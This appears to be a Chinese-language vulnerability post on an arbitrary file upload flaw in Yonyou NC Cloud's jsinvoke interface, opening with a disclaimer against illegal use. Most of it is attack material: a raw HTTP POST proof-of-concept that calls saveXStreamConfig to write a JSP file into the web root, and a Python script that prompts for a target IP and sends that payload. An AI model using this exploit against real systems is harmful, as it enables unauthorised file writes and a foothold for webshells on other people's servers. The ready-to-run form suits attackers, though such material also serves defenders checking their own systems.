声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
一、漏洞概述
用友 NC Cloud 中存在 jsinvoke 接口的任意文件上传漏洞,攻击者可以通过利用此漏洞向系统上传任意恶意文件。
二、漏洞复现
poc
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
"parameterTypes":["java.lang.Object","java.lang.String"],
"parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}
访问路径
三、POC.py
import requests
def verify(ip):
url = f'{ip}/uapjs/jsinvoke/?action=invoke'
headers = {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
}
payload = '''
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
"parameterTypes":["java.lang.Object","java.lang.String"],
"parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}
'''
try:
response = requests.post(url, headers=headers, data=payload)
# 验证成功输出相关信息
if response.status_code == 200 :
print(f"{ip}存在用友 NC Cloud jsinvoke 任意文件上传漏洞!!!")
else:
print('漏洞不存在。')
except Exception as e:
pass
if __name__ == '__main__':
self = input('请输入目标主机IP地址:')
verify(self)